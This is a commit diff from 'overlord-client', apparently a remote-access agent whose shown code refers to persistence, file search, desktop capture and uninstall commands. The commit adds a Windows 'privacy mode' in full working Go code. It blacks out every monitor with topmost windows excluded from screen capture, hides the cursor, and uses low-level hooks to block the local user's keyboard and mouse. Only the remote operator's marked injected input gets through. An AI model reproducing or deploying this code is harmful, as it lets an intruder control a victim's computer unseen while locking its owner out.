privacy selector
This commit is contained in:
@@ -22,6 +22,7 @@ import (
|
||||
"overlord-client/cmd/agent/filesearch"
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
"overlord-client/cmd/agent/privacy"
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/securelog"
|
||||
"overlord-client/cmd/agent/sysinfo"
|
||||
@@ -86,6 +87,8 @@ func resetForReconnect(env *runtime.Env) {
|
||||
return
|
||||
}
|
||||
|
||||
privacy.Stop()
|
||||
|
||||
cancelAllCommands()
|
||||
capture.ResetFrameSlots()
|
||||
|
||||
@@ -693,6 +696,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
env.DesktopCancel = nil
|
||||
env.DesktopDone = nil
|
||||
env.DesktopMu.Unlock()
|
||||
if privacy.IsEnabled() {
|
||||
privacy.Stop()
|
||||
log.Printf("privacy: auto-disabled on desktop stop")
|
||||
}
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "desktop_select_display":
|
||||
@@ -2451,6 +2458,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||
case "privacy_start":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
_ = handlePrivacyStart(ctx, env, cmdID, payload)
|
||||
return nil
|
||||
case "privacy_stop":
|
||||
_ = handlePrivacyStop(ctx, env, cmdID)
|
||||
return nil
|
||||
case "privacy_status":
|
||||
_ = handlePrivacyStatus(ctx, env, cmdID)
|
||||
return nil
|
||||
case "uninstall":
|
||||
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
||||
_ = wire.WriteMsg(ctx, env.Conn, res)
|
||||
@@ -2572,3 +2589,44 @@ func toInt(v interface{}) int {
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func handlePrivacyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||||
if goruntime.GOOS != "windows" {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result", CommandID: cmdID, OK: false,
|
||||
Message: "privacy mode is only supported on Windows",
|
||||
})
|
||||
}
|
||||
if privacy.IsEnabled() {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result", CommandID: cmdID, OK: true,
|
||||
Message: "privacy mode already active",
|
||||
})
|
||||
}
|
||||
if err := privacy.Start(); err != nil {
|
||||
log.Printf("privacy: start failed: %v", err)
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result", CommandID: cmdID, OK: false,
|
||||
Message: err.Error(),
|
||||
})
|
||||
}
|
||||
log.Printf("privacy: mode enabled")
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result", CommandID: cmdID, OK: true,
|
||||
})
|
||||
}
|
||||
|
||||
func handlePrivacyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
privacy.Stop()
|
||||
log.Printf("privacy: mode disabled")
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result", CommandID: cmdID, OK: true,
|
||||
})
|
||||
}
|
||||
|
||||
func handlePrivacyStatus(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
enabled := privacy.IsEnabled()
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.PrivacyStatus{
|
||||
Type: "privacy_status", Enabled: enabled,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -5,6 +5,8 @@ package handlers
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"overlord-client/cmd/agent/privacy"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -112,7 +114,7 @@ func sendMouseInput(flags uint32, mouseData uint32) {
|
||||
mi.mouseData = mouseData
|
||||
mi.dwFlags = flags
|
||||
mi.time = 0
|
||||
mi.dwExtraInfo = 0
|
||||
mi.dwExtraInfo = inputExtraInfo()
|
||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||
}
|
||||
|
||||
@@ -152,7 +154,7 @@ func sendMouseMoveAbsolute(x, y int32) bool {
|
||||
mi.mouseData = 0
|
||||
mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_VIRTUALDESK
|
||||
mi.time = 0
|
||||
mi.dwExtraInfo = 0
|
||||
mi.dwExtraInfo = inputExtraInfo()
|
||||
r, _, _ := procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||
return r != 0
|
||||
}
|
||||
@@ -186,7 +188,7 @@ func sendKeyInput(vk uint16, keyUp bool) {
|
||||
}
|
||||
ki.dwFlags = flags
|
||||
ki.time = 0
|
||||
ki.dwExtraInfo = 0
|
||||
ki.dwExtraInfo = inputExtraInfo()
|
||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||
}
|
||||
|
||||
@@ -242,6 +244,7 @@ func sendUnicodeRune(r rune) {
|
||||
ki.wVk = 0
|
||||
ki.wScan = uint16(r)
|
||||
ki.dwFlags = KEYEVENTF_UNICODE
|
||||
ki.dwExtraInfo = inputExtraInfo()
|
||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||
|
||||
var inpUp input
|
||||
@@ -250,6 +253,7 @@ func sendUnicodeRune(r rune) {
|
||||
kiUp.wVk = 0
|
||||
kiUp.wScan = uint16(r)
|
||||
kiUp.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP
|
||||
kiUp.dwExtraInfo = inputExtraInfo()
|
||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inpUp)), unsafe.Sizeof(inpUp))
|
||||
}
|
||||
|
||||
@@ -287,3 +291,10 @@ func keyCodeToVK(code string) uint16 {
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func inputExtraInfo() uintptr {
|
||||
if privacy.IsEnabled() {
|
||||
return privacy.InputMarker()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
package privacy
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
const inputMarker uintptr = 0x00D5E7B00B5
|
||||
|
||||
type Manager struct {
|
||||
mu sync.Mutex
|
||||
enabled int32
|
||||
}
|
||||
|
||||
var global = &Manager{}
|
||||
|
||||
func Get() *Manager { return global }
|
||||
|
||||
func (m *Manager) IsEnabled() bool {
|
||||
return atomic.LoadInt32(&m.enabled) != 0
|
||||
}
|
||||
|
||||
func (m *Manager) Enable() error {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
if atomic.LoadInt32(&m.enabled) != 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := enablePlatform(); err != nil {
|
||||
atomic.StoreInt32(&m.enabled, 0)
|
||||
return err
|
||||
}
|
||||
|
||||
atomic.StoreInt32(&m.enabled, 1)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) Disable() {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
if atomic.SwapInt32(&m.enabled, 0) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
disablePlatform()
|
||||
}
|
||||
|
||||
func Start() error { return Get().Enable() }
|
||||
func Stop() { Get().Disable() }
|
||||
func IsEnabled() bool { return Get().IsEnabled() }
|
||||
func InputMarker() uintptr { return inputMarker }
|
||||
@@ -0,0 +1,11 @@
|
||||
//go:build !windows
|
||||
|
||||
package privacy
|
||||
|
||||
import "errors"
|
||||
|
||||
func enablePlatform() error {
|
||||
return errors.New("privacy mode is only supported on Windows")
|
||||
}
|
||||
|
||||
func disablePlatform() {}
|
||||
@@ -0,0 +1,530 @@
|
||||
//go:build windows
|
||||
|
||||
package privacy
|
||||
|
||||
import (
|
||||
"log"
|
||||
"runtime"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
WS_EX_TOPMOST = 0x00000008
|
||||
WS_EX_TOOLWINDOW = 0x00000080
|
||||
WS_EX_NOACTIVATE = 0x08000000
|
||||
WS_EX_TRANSPARENT = 0x00000020
|
||||
WS_EX_LAYERED = 0x00080000
|
||||
WS_POPUP = 0x80000000
|
||||
WS_VISIBLE = 0x10000000
|
||||
WDA_EXCLUDEFROMCAPTURE = 0x00000011
|
||||
|
||||
WH_KEYBOARD_LL = 13
|
||||
WH_MOUSE_LL = 14
|
||||
|
||||
WM_QUIT = 0x0012
|
||||
WM_KEYDOWN = 0x0100
|
||||
WM_KEYUP = 0x0101
|
||||
WM_SYSKEYDOWN = 0x0104
|
||||
WM_SYSKEYUP = 0x0105
|
||||
|
||||
LLKHF_INJECTED = 0x00000010
|
||||
|
||||
LLMHF_INJECTED = 0x00000001
|
||||
|
||||
VK_CONTROL = 0x11
|
||||
VK_P = 0x50
|
||||
VK_LCONTROL = 0xA2
|
||||
VK_RCONTROL = 0xA3
|
||||
|
||||
SW_HIDE = 0
|
||||
SW_SHOW = 5
|
||||
|
||||
SWP_NOSIZE = 0x0001
|
||||
SWP_NOMOVE = 0x0002
|
||||
SWP_NOACTIVATE = 0x0010
|
||||
SWP_SHOWWINDOW = 0x0040
|
||||
|
||||
LWA_ALPHA = 0x00000002
|
||||
|
||||
SM_XVIRTUALSCREEN = 76
|
||||
SM_YVIRTUALSCREEN = 77
|
||||
SM_CXVIRTUALSCREEN = 78
|
||||
SM_CYVIRTUALSCREEN = 79
|
||||
)
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
|
||||
procCreateWindowExW = user32.NewProc("CreateWindowExW")
|
||||
procDefWindowProcW = user32.NewProc("DefWindowProcW")
|
||||
procDestroyWindow = user32.NewProc("DestroyWindow")
|
||||
procGetMessageW = user32.NewProc("GetMessageW")
|
||||
procTranslateMessage = user32.NewProc("TranslateMessage")
|
||||
procDispatchMessageW = user32.NewProc("DispatchMessageW")
|
||||
procPostThreadMessageW = user32.NewProc("PostThreadMessageW")
|
||||
procRegisterClassExW = user32.NewProc("RegisterClassExW")
|
||||
procSetWindowDisplayAffinity = user32.NewProc("SetWindowDisplayAffinity")
|
||||
procSetWindowsHookExW = user32.NewProc("SetWindowsHookExW")
|
||||
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
|
||||
procCallNextHookEx = user32.NewProc("CallNextHookEx")
|
||||
procShowWindow = user32.NewProc("ShowWindow")
|
||||
procUpdateWindow = user32.NewProc("UpdateWindow")
|
||||
procSetWindowPos = user32.NewProc("SetWindowPos")
|
||||
procSetLayeredWindowAttributes = user32.NewProc("SetLayeredWindowAttributes")
|
||||
procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
|
||||
procShowCursor = user32.NewProc("ShowCursor")
|
||||
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
|
||||
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
|
||||
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW")
|
||||
procGetCurrentThreadID = kernel32.NewProc("GetCurrentThreadId")
|
||||
|
||||
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||
procCreateSolidBrush = gdi32.NewProc("CreateSolidBrush")
|
||||
|
||||
keyboardHook uintptr
|
||||
mouseHook uintptr
|
||||
|
||||
privacyWindows []windows.HWND
|
||||
privacyWindowsMu sync.Mutex
|
||||
|
||||
platformMu sync.Mutex
|
||||
platform *platformState
|
||||
cursorHideOps int
|
||||
ctrlPressed bool
|
||||
)
|
||||
|
||||
type platformState struct {
|
||||
ready chan error
|
||||
done chan struct{}
|
||||
threadID uint32
|
||||
}
|
||||
|
||||
type wndClassExW struct {
|
||||
cbSize uint32
|
||||
style uint32
|
||||
lpfnWndProc uintptr
|
||||
cbClsExtra int32
|
||||
cbWndExtra int32
|
||||
hInstance windows.Handle
|
||||
hIcon windows.Handle
|
||||
hCursor windows.Handle
|
||||
hbrBackground windows.Handle
|
||||
lpszMenuName *uint16
|
||||
lpszClassName *uint16
|
||||
hIconSm windows.Handle
|
||||
}
|
||||
|
||||
type point struct {
|
||||
x int32
|
||||
y int32
|
||||
}
|
||||
|
||||
type msg struct {
|
||||
hwnd windows.HWND
|
||||
message uint32
|
||||
wParam uintptr
|
||||
lParam uintptr
|
||||
time uint32
|
||||
pt point
|
||||
}
|
||||
|
||||
type kbdllhookstruct struct {
|
||||
vkCode uint32
|
||||
scanCode uint32
|
||||
flags uint32
|
||||
time uint32
|
||||
dwExtraInfo uintptr
|
||||
}
|
||||
|
||||
type msllhookstruct struct {
|
||||
pt point
|
||||
mouseData uint32
|
||||
flags uint32
|
||||
time uint32
|
||||
dwExtraInfo uintptr
|
||||
}
|
||||
|
||||
func enablePlatform() error {
|
||||
platformMu.Lock()
|
||||
if platform != nil {
|
||||
platformMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
st := &platformState{
|
||||
ready: make(chan error, 1),
|
||||
done: make(chan struct{}),
|
||||
}
|
||||
platform = st
|
||||
go runPlatformThread(st)
|
||||
platformMu.Unlock()
|
||||
|
||||
if err := <-st.ready; err != nil {
|
||||
platformMu.Lock()
|
||||
if platform == st {
|
||||
platform = nil
|
||||
}
|
||||
platformMu.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func disablePlatform() {
|
||||
platformMu.Lock()
|
||||
st := platform
|
||||
platform = nil
|
||||
platformMu.Unlock()
|
||||
|
||||
if st == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if st.threadID != 0 {
|
||||
procPostThreadMessageW.Call(uintptr(st.threadID), WM_QUIT, 0, 0)
|
||||
}
|
||||
<-st.done
|
||||
}
|
||||
|
||||
func runPlatformThread(st *platformState) {
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
defer close(st.done)
|
||||
|
||||
st.threadID = currentThreadID()
|
||||
|
||||
if err := createPrivacyWindows(); err != nil {
|
||||
st.ready <- err
|
||||
return
|
||||
}
|
||||
|
||||
if err := installInputHooks(); err != nil {
|
||||
destroyPrivacyWindows()
|
||||
st.ready <- err
|
||||
return
|
||||
}
|
||||
|
||||
hideCursor()
|
||||
st.ready <- nil
|
||||
|
||||
messagePump()
|
||||
|
||||
restoreCursor()
|
||||
uninstallInputHooks()
|
||||
destroyPrivacyWindows()
|
||||
}
|
||||
|
||||
func currentThreadID() uint32 {
|
||||
ret, _, _ := procGetCurrentThreadID.Call()
|
||||
return uint32(ret)
|
||||
}
|
||||
|
||||
func createPrivacyWindows() error {
|
||||
className, err := syscall.UTF16PtrFromString("OverlordPrivacyWindow")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
hInstance := getModuleHandle()
|
||||
|
||||
brush, _, _ := procCreateSolidBrush.Call(0x00000000)
|
||||
|
||||
wndClass := wndClassExW{
|
||||
cbSize: uint32(unsafe.Sizeof(wndClassExW{})),
|
||||
style: 0,
|
||||
lpfnWndProc: syscall.NewCallback(defWindowProcCallback),
|
||||
hInstance: windows.Handle(hInstance),
|
||||
hCursor: 0,
|
||||
hbrBackground: windows.Handle(brush),
|
||||
lpszClassName: className,
|
||||
}
|
||||
|
||||
ret, _, _ := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wndClass)))
|
||||
if ret == 0 {
|
||||
if err := syscall.GetLastError(); err != windows.ERROR_CLASS_ALREADY_EXISTS {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
monitors := enumerateMonitors()
|
||||
if len(monitors) == 0 {
|
||||
left := getSystemMetric(SM_XVIRTUALSCREEN)
|
||||
top := getSystemMetric(SM_YVIRTUALSCREEN)
|
||||
width := getSystemMetric(SM_CXVIRTUALSCREEN)
|
||||
height := getSystemMetric(SM_CYVIRTUALSCREEN)
|
||||
if width > 0 && height > 0 {
|
||||
monitors = append(monitors, monitorRect{
|
||||
left: left,
|
||||
top: top,
|
||||
right: left + width,
|
||||
bottom: top + height,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
for _, mon := range monitors {
|
||||
hwnd, _, _ := procCreateWindowExW.Call(
|
||||
uintptr(WS_EX_TOPMOST|WS_EX_TOOLWINDOW|WS_EX_NOACTIVATE|WS_EX_TRANSPARENT|WS_EX_LAYERED),
|
||||
uintptr(unsafe.Pointer(className)),
|
||||
0,
|
||||
uintptr(WS_POPUP|WS_VISIBLE),
|
||||
uintptr(mon.left),
|
||||
uintptr(mon.top),
|
||||
uintptr(mon.right-mon.left),
|
||||
uintptr(mon.bottom-mon.top),
|
||||
0, 0, uintptr(hInstance), 0,
|
||||
)
|
||||
if hwnd == 0 {
|
||||
log.Printf("privacy: failed to create window for monitor [%d %d %d %d]: %v",
|
||||
mon.left, mon.top, mon.right, mon.bottom, syscall.GetLastError())
|
||||
continue
|
||||
}
|
||||
|
||||
procSetWindowDisplayAffinity.Call(hwnd, uintptr(WDA_EXCLUDEFROMCAPTURE))
|
||||
procSetLayeredWindowAttributes.Call(hwnd, 0, 255, uintptr(LWA_ALPHA))
|
||||
procSetWindowPos.Call(
|
||||
hwnd,
|
||||
^uintptr(0),
|
||||
uintptr(mon.left),
|
||||
uintptr(mon.top),
|
||||
uintptr(mon.right-mon.left),
|
||||
uintptr(mon.bottom-mon.top),
|
||||
uintptr(SWP_NOACTIVATE|SWP_SHOWWINDOW),
|
||||
)
|
||||
procShowWindow.Call(hwnd, SW_SHOW)
|
||||
procUpdateWindow.Call(hwnd)
|
||||
|
||||
privacyWindowsMu.Lock()
|
||||
privacyWindows = append(privacyWindows, windows.HWND(hwnd))
|
||||
privacyWindowsMu.Unlock()
|
||||
}
|
||||
|
||||
if len(privacyWindows) == 0 {
|
||||
return syscall.GetLastError()
|
||||
}
|
||||
|
||||
log.Printf("privacy: created %d privacy window(s)", len(privacyWindows))
|
||||
return nil
|
||||
}
|
||||
|
||||
func getSystemMetric(index int32) int32 {
|
||||
ret, _, _ := procGetSystemMetrics.Call(uintptr(index))
|
||||
return int32(ret)
|
||||
}
|
||||
|
||||
func hideCursor() {
|
||||
cursorHideOps = 0
|
||||
for {
|
||||
count := showCursor(false)
|
||||
cursorHideOps++
|
||||
if count < 0 || cursorHideOps > 32 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func restoreCursor() {
|
||||
for i := 0; i < cursorHideOps; i++ {
|
||||
showCursor(true)
|
||||
}
|
||||
cursorHideOps = 0
|
||||
}
|
||||
|
||||
func showCursor(show bool) int32 {
|
||||
arg := uintptr(0)
|
||||
if show {
|
||||
arg = 1
|
||||
}
|
||||
ret, _, _ := procShowCursor.Call(arg)
|
||||
return int32(ret)
|
||||
}
|
||||
|
||||
func destroyPrivacyWindows() {
|
||||
privacyWindowsMu.Lock()
|
||||
windows := privacyWindows
|
||||
privacyWindows = nil
|
||||
privacyWindowsMu.Unlock()
|
||||
|
||||
for _, hwnd := range windows {
|
||||
procShowWindow.Call(uintptr(hwnd), SW_HIDE)
|
||||
procDestroyWindow.Call(uintptr(hwnd))
|
||||
}
|
||||
log.Printf("privacy: destroyed %d privacy window(s)", len(windows))
|
||||
}
|
||||
|
||||
type monitorRect struct {
|
||||
left, top, right, bottom int32
|
||||
}
|
||||
|
||||
func enumerateMonitors() []monitorRect {
|
||||
var monitors []monitorRect
|
||||
var mu sync.Mutex
|
||||
|
||||
cb := syscall.NewCallback(func(hMonitor, hdc, lprcMonitor, lparam uintptr) uintptr {
|
||||
rc := (*rect)(unsafe.Pointer(lprcMonitor))
|
||||
mu.Lock()
|
||||
monitors = append(monitors, monitorRect{
|
||||
left: rc.left,
|
||||
top: rc.top,
|
||||
right: rc.right,
|
||||
bottom: rc.bottom,
|
||||
})
|
||||
mu.Unlock()
|
||||
return 1
|
||||
})
|
||||
|
||||
procEnumDisplayMonitors.Call(0, 0, cb, 0)
|
||||
return monitors
|
||||
}
|
||||
|
||||
type rect struct {
|
||||
left int32
|
||||
top int32
|
||||
right int32
|
||||
bottom int32
|
||||
}
|
||||
|
||||
func defWindowProcCallback(hwnd windows.HWND, msg uint32, wParam uintptr, lParam uintptr) uintptr {
|
||||
ret, _, _ := procDefWindowProcW.Call(uintptr(hwnd), uintptr(msg), wParam, lParam)
|
||||
return ret
|
||||
}
|
||||
|
||||
func getModuleHandle() windows.Handle {
|
||||
ret, _, _ := procGetModuleHandleW.Call(0)
|
||||
return windows.Handle(ret)
|
||||
}
|
||||
|
||||
func installInputHooks() error {
|
||||
hInstance := getModuleHandle()
|
||||
|
||||
kbCb := syscall.NewCallback(keyboardHookProc)
|
||||
kh, _, err := procSetWindowsHookExW.Call(
|
||||
uintptr(WH_KEYBOARD_LL),
|
||||
kbCb,
|
||||
uintptr(hInstance),
|
||||
0,
|
||||
)
|
||||
if kh == 0 {
|
||||
return err
|
||||
}
|
||||
keyboardHook = kh
|
||||
|
||||
mCb := syscall.NewCallback(mouseHookProc)
|
||||
mh, _, err := procSetWindowsHookExW.Call(
|
||||
uintptr(WH_MOUSE_LL),
|
||||
mCb,
|
||||
uintptr(hInstance),
|
||||
0,
|
||||
)
|
||||
if mh == 0 {
|
||||
procUnhookWindowsHookEx.Call(keyboardHook)
|
||||
keyboardHook = 0
|
||||
return err
|
||||
}
|
||||
mouseHook = mh
|
||||
|
||||
log.Printf("privacy: input hooks installed (kb=%d mouse=%d)", keyboardHook, mouseHook)
|
||||
return nil
|
||||
}
|
||||
|
||||
func uninstallInputHooks() {
|
||||
if keyboardHook != 0 {
|
||||
procUnhookWindowsHookEx.Call(keyboardHook)
|
||||
keyboardHook = 0
|
||||
}
|
||||
if mouseHook != 0 {
|
||||
procUnhookWindowsHookEx.Call(mouseHook)
|
||||
mouseHook = 0
|
||||
}
|
||||
log.Printf("privacy: input hooks removed")
|
||||
}
|
||||
|
||||
func keyboardHookProc(nCode int, wParam uintptr, lParam uintptr) uintptr {
|
||||
if nCode < 0 {
|
||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||
return ret
|
||||
}
|
||||
|
||||
m := Get()
|
||||
if !m.IsEnabled() {
|
||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||
return ret
|
||||
}
|
||||
|
||||
kb := (*kbdllhookstruct)(unsafe.Pointer(lParam))
|
||||
|
||||
if kb.dwExtraInfo == InputMarker() {
|
||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||
return ret
|
||||
}
|
||||
|
||||
if kb.flags&LLKHF_INJECTED != 0 {
|
||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||
return ret
|
||||
}
|
||||
|
||||
switch kb.vkCode {
|
||||
case VK_CONTROL, VK_LCONTROL, VK_RCONTROL:
|
||||
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
|
||||
ctrlPressed = true
|
||||
} else {
|
||||
ctrlPressed = false
|
||||
}
|
||||
return 1
|
||||
|
||||
}
|
||||
|
||||
return 1
|
||||
}
|
||||
|
||||
func mouseHookProc(nCode int, wParam uintptr, lParam uintptr) uintptr {
|
||||
if nCode < 0 {
|
||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||
return ret
|
||||
}
|
||||
|
||||
if !Get().IsEnabled() {
|
||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||
return ret
|
||||
}
|
||||
|
||||
ms := (*msllhookstruct)(unsafe.Pointer(lParam))
|
||||
|
||||
if ms.dwExtraInfo == InputMarker() {
|
||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||
return ret
|
||||
}
|
||||
|
||||
if ms.flags&LLMHF_INJECTED != 0 {
|
||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||
return ret
|
||||
}
|
||||
|
||||
return 1
|
||||
}
|
||||
|
||||
func messagePump() {
|
||||
log.Printf("privacy: message pump starting")
|
||||
|
||||
var m msg
|
||||
for {
|
||||
ret, _, _ := procGetMessageW.Call(
|
||||
uintptr(unsafe.Pointer(&m)),
|
||||
0, 0, 0,
|
||||
)
|
||||
if ret == 0 || ret == ^uintptr(0) {
|
||||
break
|
||||
}
|
||||
procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
|
||||
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
|
||||
}
|
||||
|
||||
log.Printf("privacy: message pump stopped")
|
||||
}
|
||||
@@ -441,3 +441,8 @@ type WebRTCP2PIce struct {
|
||||
SDPMid string `msgpack:"sdpMid"`
|
||||
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
|
||||
}
|
||||
|
||||
type PrivacyStatus struct {
|
||||
Type string `msgpack:"type"`
|
||||
Enabled bool `msgpack:"enabled"`
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user